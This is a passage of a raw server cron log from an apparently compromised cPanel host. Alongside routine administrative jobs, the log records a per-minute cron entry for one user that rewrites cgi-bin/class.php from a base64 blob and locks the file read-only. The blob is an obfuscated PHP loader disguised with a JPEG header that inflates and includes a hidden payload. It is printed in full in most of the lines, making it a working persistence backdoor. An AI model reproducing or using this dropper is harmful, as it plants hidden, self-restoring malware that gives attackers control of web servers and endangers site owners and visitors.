&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:54:01 server CROND[18506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:55:01 server CROND[19341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:55:01 server CROND[19339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:55:01 server CROND[19340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:56:01 server CROND[20207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:57:01 server CROND[20669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 15:57:01 server CROND[20670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:58:01 server CROND[21587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:59:01 server CROND[22421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:00:01 server CROND[23249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:00:01 server CROND[23250]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 16:00:01 server CROND[23252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:00:01 server CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 16:00:01 server CROND[23253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:01:01 server CROND[24139]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 16:01:01 server CROND[24140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:01:01 server run-parts(/etc/cron.hourly)[24139]: starting 0anacron
Nov 10 16:01:01 server run-parts(/etc/cron.hourly)[24152]: finished 0anacron
Nov 10 16:02:01 server CROND[24985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:03:01 server CROND[25911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:04:01 server CROND[26742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:05:01 server CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:05:01 server CROND[27568]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 16:05:01 server CROND[27570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:05:01 server CROND[27569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
